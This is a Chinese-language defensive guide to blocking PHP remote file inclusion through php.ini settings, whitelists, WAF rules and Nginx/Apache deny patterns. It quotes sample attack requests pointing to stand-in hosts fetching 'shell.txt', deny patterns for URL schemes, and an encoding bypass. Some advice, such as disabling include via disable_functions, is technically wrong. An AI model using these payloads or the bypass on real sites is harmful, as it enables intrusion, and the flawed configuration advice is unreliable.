本文目录导读:

针对远程文件包含(RFI)攻击的拦截,核心思路是阻止服务器从外部 URL 获取并执行文件,以下是几个层面的拦截和防御措施:
应用层配置(最根本的防御)
这是控制 RFI 的关键,因为 RFI 通常通过 PHP 等语言的函数实现。
-
禁用
allow_url_include:- 在 PHP 中,这是 RFI 的开关。务必在
php.ini或服务器配置中将其设为Off。 - 配置:
allow_url_include = Off - 建议也将
allow_url_fopen设为Off或仅限白名单使用,因为它是 RFI 的辅助条件。
- 在 PHP 中,这是 RFI 的开关。务必在
-
严格过滤用户输入:
- 不要直接使用
$_GET、$_POST等参数作为文件路径。include($_GET['page']);是典型的高危写法。 - 白名单机制:只允许包含预定义的、安全的文件列表。
// 只允许从数组中选择文件 $whitelist = ['home.php', 'about.php', 'contact.php']; $page = $_GET['page']; if (in_array($page, $whitelist)) { include($page); } else { // 错误处理 } - 清理路径:如果必须使用动态路径,过滤掉
http://、https://、ftp://等协议标识符,以及 等目录遍历符号,使用basename()、realpath()等函数处理。
- 不要直接使用
-
禁用危险函数:
- 在
php.ini的disable_functions中列出include、include_once、require、require_once、fopen、file_get_contents、curl_exec等函数,除非绝对必要。
- 在
Web 服务器配置(WAF 与规则)
在 Nginx 或 Apache 层面进行拦截。
-
配置 Web 应用防火墙(WAF):
- ModSecurity:最常用的开源 WAF,配合 OWASP 核心规则集(CRS),它会拦截包含
http://、https://、ftp://等模式的参数请求,规则942100专门检测 SQL 注入和 RFI。 - Cloudflare WAF:开启后自动拦截常见的 RFI 尝试(如
?page=http://evil.com/shell.txt?)。 - AWS WAF / Azure WAF:云平台内置的 WAF 一般都有对应的规则。
- ModSecurity:最常用的开源 WAF,配合 OWASP 核心规则集(CRS),它会拦截包含
-
Nginx
if限制:- 在
server或location块中添加条件,拒绝包含特定模式的请求参数:if ($args ~* "http://|https://|ftp://") { return 403; }
- 在
-
Apache
mod_rewrite:- 在
.htaccess或虚拟主机配置中:RewriteCond %{QUERY_STRING} (http|https|ftp):// [NC] RewriteRule ^ - [F,L]
- 在
服务器系统级防御
- 禁用危险 PHP 组件:确保
php.ini中未启用curl、ftp等扩展,或在使用时严格限制。 - 设置
open_basedir:在php.ini中限制 PHP 访问的文件路径范围,防止跨目录攻击,但注意,open_basedir无法阻止 RFI(因为 RFI 通过 URL 访问,不涉及本地路径),需结合其他措施。 - 使用 SELinux/AppArmor:对 Web 服务进程(如
httpd、php-fpm)实施强制访问控制,阻止其向外部发起 HTTP 请求。
输入验证与输出编码
- 检查
$_SERVER['HTTP_REFERER']:验证请求来源,但不可靠(可伪造),不建议作为唯一防御。 - 检查
$_SERVER['QUERY_STRING']:对查询字符串进行正则匹配,过滤http、ftp等协议。if (preg_match('/^https?:\/\//', $_GET['file'])) { die(); }
最佳实践总结
- 优先使用白名单:完全避免动态包含,若必须,使用预定义数组。
- 关键配置:
allow_url_include = Off(必须)、allow_url_fopen = Off(建议)。 - 启用 WAF:无论是 ModSecurity 还是云 WAF,都能有效拦截 90% 以上的扫描。
- 输入验证:不要相信任何用户输入,过滤
http://、 等危险字符。 - 日志监控:定期检查 Web 服务器日志,留意包含
http://的请求参数,以及 403/500 错误,及时发现攻击尝试。
实际拦截效果示例
假设攻击请求:http://yoursite.com/index.php?page=http://malware.com/shell.txt
-
生效的拦截:
- PHP 侧:
allow_url_include = Off导致include()直接失败(返回空或错误)。 - WAF 侧:ModSecurity/Cloudflare 检测到参数中有
http://,直接返回 403 或 406(不可接受)。 - 服务器侧:Nginx 的
if规则匹配,返回 403。
- PHP 侧:
-
失效的情况:
- PHP 侧:
allow_url_include = On且未过滤任何输入。 - WAF 侧:规则未启用或定制规则绕过(如使用
%68ttp://编码)。
- PHP 侧:
核心建议:不要依赖单一防御层,将 PHP 配置禁用 RFI 作为底线,再结合 WAF 规则 和 输入白名单,形成纵深防御。